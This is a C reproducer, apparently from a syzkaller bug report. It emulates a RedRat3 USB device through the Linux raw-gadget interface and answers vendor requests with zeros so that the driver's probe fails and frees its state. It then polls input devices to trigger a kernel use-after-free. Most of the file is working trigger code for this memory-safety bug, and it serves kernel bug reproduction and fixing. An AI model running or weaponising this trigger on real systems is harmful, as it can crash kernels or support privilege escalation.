// https://syzkaller.appspot.com/bug?id=789c3a6e8af466daf1146990d4151e31580a0a05 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #if __has_include() #include #endif #undef htole16 #undef le16toh #if (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__) || \ (defined(__BYTE_ORDER) && __BYTE_ORDER == __BIG_ENDIAN) #define htole16(x) ((uint16_t)((((uint16_t)(x) & 0xff) << 8) | (((uint16_t)(x) >> 8) & 0xff))) #define le16toh(x) ((uint16_t)((((uint16_t)(x) & 0xff) << 8) | (((uint16_t)(x) >> 8) & 0xff))) #else #define htole16(x) ((uint16_t)(x)) #define le16toh(x) ((uint16_t)(x)) #endif #ifndef USB_RAW_IOCTL_INIT #define UDC_NAME_LENGTH_MAX 128 struct usb_raw_init { __u8 driver_name[UDC_NAME_LENGTH_MAX]; __u8 device_name[UDC_NAME_LENGTH_MAX]; __u8 speed; }; enum usb_raw_event_type { USB_RAW_EVENT_INVALID = 0, USB_RAW_EVENT_CONNECT = 1, USB_RAW_EVENT_CONTROL = 2, USB_RAW_EVENT_SUSPEND = 3, USB_RAW_EVENT_RESUME = 4, USB_RAW_EVENT_RESET = 5, USB_RAW_EVENT_DISCONNECT = 6, }; struct usb_raw_event { __u32 type; __u32 length; __u8 data[]; }; struct usb_raw_ep_io { __u16 ep; __u16 flags; __u32 length; __u8 data[]; }; #define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init) #define USB_RAW_IOCTL_RUN _IO('U', 1) #define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event) #define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io) #define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io) #define USB_RAW_IOCTL_CONFIGURE _IO('U', 9) #define USB_RAW_IOCTL_EP0_STALL _IO('U', 12) #endif static const struct usb_device_descriptor dev_desc = { .bLength = sizeof(struct usb_device_descriptor), .bDescriptorType = USB_DT_DEVICE, .bcdUSB = htole16(0x0200), .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = htole16(0x112a), /* RedRat3 Vendor ID */ .idProduct = htole16(0x0001), /* RedRat3 Product ID */ .bcdDevice = htole16(0x0100), .iManufacturer = 0, .iProduct = 0, .iSerialNumber = 0, .bNumConfigurations = 1, }; struct usb_endpoint_descriptor_7 { uint8_t bLength; uint8_t bDescriptorType; uint8_t bEndpointAddress; uint8_t bmAttributes; uint16_t wMaxPacketSize; uint8_t bInterval; } __attribute__((packed)); struct usb_config_bundle { struct usb_config_descriptor cfg; struct usb_interface_descriptor intf; struct usb_endpoint_descriptor_7 ep_narrow; struct usb_endpoint_descriptor_7 ep_wide; struct usb_endpoint_descriptor_7 ep_out; } __attribute__((packed)); static const struct usb_config_bundle conf_desc = { .cfg = { .bLength = sizeof(struct usb_config_descriptor), .bDescriptorType = USB_DT_CONFIG, .wTotalLength = htole16(sizeof(struct usb_config_bundle)), .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = 0x80, .bMaxPower = 50, }, .intf = { .bLength = sizeof(struct usb_interface_descriptor), .bDescriptorType = USB_DT_INTERFACE, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 3, .bInterfaceClass = 0xff, .bInterfaceSubClass = 0, .bInterfaceProtocol = 0, .iInterface = 0, }, .ep_narrow = { .bLength = 7, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x82, /* RR3_NARROW_IN_EP_ADDR */ .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = htole16(64), .bInterval = 0, }, .ep_wide = { .bLength = 7, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x81, /* RR3_WIDE_IN_EP_ADDR */ .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = htole16(64), .bInterval = 0, }, .ep_out = { .bLength = 7, .bDescriptorType = USB_DT_ENDPOINT, .bEndpointAddress = 0x01, /* Bulk OUT */ .bmAttributes = USB_ENDPOINT_XFER_BULK, .wMaxPacketSize = htole16(64), .bInterval = 0, }, }; static void *gadget_thread(void *arg) { int fd = (int)(intptr_t)arg; struct { struct usb_raw_event event; uint8_t data[256]; } ev; struct { struct usb_raw_ep_io io; uint8_t data[512]; } ep_io; printf("[+] gadget_thread started, processing events...\n"); while (1) { memset(&ev, 0, sizeof(ev)); ev.event.length = sizeof(ev.data); int res = ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, &ev.event); if (res < 0) { if (errno == EINTR) continue; printf("[-] ioctl(USB_RAW_IOCTL_EVENT_FETCH) failed: %s\n", strerror(errno)); break; } if (ev.event.type == USB_RAW_EVENT_CONNECT) { printf("[+] Gadget event: USB_RAW_EVENT_CONNECT\n"); continue; } if (ev.event.type != USB_RAW_EVENT_CONTROL) continue; struct usb_ctrlrequest *ctrl = (struct usb_ctrlrequest *)ev.event.data; uint8_t req_type = ctrl->bRequestType & USB_TYPE_MASK; uint16_t req_len = le16toh(ctrl->wLength); memset(&ep_io, 0, sizeof(ep_io)); ep_io.io.ep = 0; ep_io.io.flags = 0; if (req_type == USB_TYPE_STANDARD) { if (ctrl->bRequest == USB_REQ_GET_DESCRIPTOR) { uint8_t desc_type = le16toh(ctrl->wValue) >> 8; if (desc_type == USB_DT_DEVICE) { uint32_t len = sizeof(dev_desc); if (len > req_len) len = req_len; ep_io.io.length = len; memcpy(ep_io.io.data, &dev_desc, len); ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &ep_io.io); } else if (desc_type == USB_DT_CONFIG) { uint32_t len = sizeof(conf_desc); if (len > req_len) len = req_len; ep_io.io.length = len; memcpy(ep_io.io.data, &conf_desc, len); ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &ep_io.io); } else { /* Stall unsupported standard requests */ ioctl(fd, USB_RAW_IOCTL_EP0_STALL, 0); } continue; } else if (ctrl->bRequest == USB_REQ_SET_CONFIGURATION) { printf("[+] Gadget: USB_REQ_SET_CONFIGURATION received.\n"); ioctl(fd, USB_RAW_IOCTL_CONFIGURE, 0); ep_io.io.length = 0; ioctl(fd, USB_RAW_IOCTL_EP0_READ, &ep_io.io); continue; } else if (ctrl->bRequest == USB_REQ_SET_INTERFACE) { ep_io.io.length = 0; ioctl(fd, USB_RAW_IOCTL_EP0_READ, &ep_io.io); continue; } } /* * Vendor and other requests: * Replying with zeros to IN requests causes redrat3_send_cmd(RR3_RC_DET_STATUS, rr3) * to receive data[0] == 0 != 1, triggering probe failure and kfree(rr3) * while rc/input_dev remains registered. */ if (ctrl->bRequestType & USB_DIR_IN) { if (req_len > 0) { uint32_t len = req_len; if (len > sizeof(ep_io.data)) len = sizeof(ep_io.data); ep_io.io.length = len; memset(ep_io.io.data, 0, len); ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, &ep_io.io); } else { ep_io.io.length = 0; ioctl(fd, USB_RAW_IOCTL_EP0_READ, &ep_io.io); } } else { ep_io.io.length = req_len; ioctl(fd, USB_RAW_IOCTL_EP0_READ, &ep_io.io); } } return NULL; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); printf("[*] Starting RedRat3 UAF reproducer...\n"); int fd = open("/dev/raw-gadget", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno)); exit(1); } printf("[+] open /dev/raw-gadget successful.\n"); DIR *d = opendir("/sys/class/udc"); if (!d) { printf("[-] Failed to opendir /sys/class/udc: %s\n", strerror(errno)); close(fd); exit(1); } printf("[+] opendir /sys/class/udc successful.\n"); struct dirent *de; char udc_device[UDC_NAME_LENGTH_MAX] = {0}; char udc_driver[UDC_NAME_LENGTH_MAX] = {0}; while ((de = readdir(d)) != NULL) { if (de->d_name[0] != '.') { strncpy(udc_device, de->d_name, sizeof(udc_device) - 1); strncpy(udc_driver, de->d_name, sizeof(udc_driver) - 1); char *dot = strchr(udc_driver, '.'); if (dot) *dot = '\0'; break; } } int res = closedir(d); if (res < 0) { printf("[-] Failed to closedir /sys/class/udc: %s\n", strerror(errno)); close(fd); exit(1); } printf("[+] closedir /sys/class/udc successful.\n"); if (udc_device[0] == '\0') { printf("[-] No UDC found in /sys/class/udc\n"); close(fd); exit(1); } printf("[+] Found UDC device: %s, driver: %s\n", udc_device, udc_driver); struct usb_raw_init init; memset(&init, 0, sizeof(init)); strncpy((char *)init.driver_name, udc_driver, sizeof(init.driver_name) - 1); strncpy((char *)init.device_name, udc_device, sizeof(init.device_name) - 1); init.speed = USB_SPEED_HIGH; res = ioctl(fd, USB_RAW_IOCTL_INIT, &init); if (res < 0) { printf("[-] Failed to ioctl USB_RAW_IOCTL_INIT: %s\n", strerror(errno)); close(fd); exit(1); } printf("[+] ioctl USB_RAW_IOCTL_INIT successful.\n"); res = ioctl(fd, USB_RAW_IOCTL_RUN, 0); if (res < 0) { printf("[-] Failed to ioctl USB_RAW_IOCTL_RUN: %s\n", strerror(errno)); close(fd); exit(1); } printf("[+] ioctl USB_RAW_IOCTL_RUN successful.\n"); pthread_t th; res = pthread_create(&th, NULL, gadget_thread, (void *)(intptr_t)fd); if (res != 0) { printf("[-] Failed to pthread_create gadget_thread: %s\n", strerror(res)); close(fd); exit(1); } printf("[+] pthread_create gadget_thread successful.\n"); /* Polling loop: query /dev/input/event*, /sys/class/input/input*, and /proc/bus/input/devices */ printf("[*] Starting polling loop to trigger UAF on dangling input_dev...\n"); for (int iter = 0; iter < 100; iter++) { usleep(50000); /* 50 ms */ /* 1. Query evdev ioctls (EVIOCGNAME and EVIOCGPHYS) */ DIR *id = opendir("/dev/input"); if (id) { struct dirent *ide; while ((ide = readdir(id)) != NULL) { if (strncmp(ide->d_name, "event", 5) == 0) { char path[256]; snprintf(path, sizeof(path), "/dev/input/%s", ide->d_name); int ifd = open(path, O_RDONLY | O_NONBLOCK); if (ifd >= 0) { char name[256] = {0}; int r = ioctl(ifd, EVIOCGNAME(sizeof(name)), name); if (r >= 0) { printf("[+] ioctl(EVIOCGNAME) on %s returned: '%s'\n", path, name); } char phys[256] = {0}; r = ioctl(ifd, EVIOCGPHYS(sizeof(phys)), phys); if (r >= 0) { printf("[+] ioctl(EVIOCGPHYS) on %s returned: '%s'\n", path, phys); } close(ifd); } } } closedir(id); } /* 2. Query sysfs input device name */ DIR *sid = opendir("/sys/class/input"); if (sid) { struct dirent *side; while ((side = readdir(sid)) != NULL) { if (strncmp(side->d_name, "input", 5) == 0) { char path[256]; snprintf(path, sizeof(path), "/sys/class/input/%s/name", side->d_name); int sfd = open(path, O_RDONLY); if (sfd >= 0) { char buf[256] = {0}; ssize_t nr = read(sfd, buf, sizeof(buf) - 1); if (nr > 0) { buf[nr] = '\0'; printf("[+] sysfs read %s: '%s'\n", path, buf); } close(sfd); } } } closedir(sid); } /* 3. Query /proc/bus/input/devices */ int pfd = open("/proc/bus/input/devices", O_RDONLY); if (pfd >= 0) { char pbuf[4096]; ssize_t nr = read(pfd, pbuf, sizeof(pbuf) - 1); if (nr > 0) { pbuf[nr] = '\0'; } close(pfd); } } printf("[*] Finished polling loop.\n"); return 0; }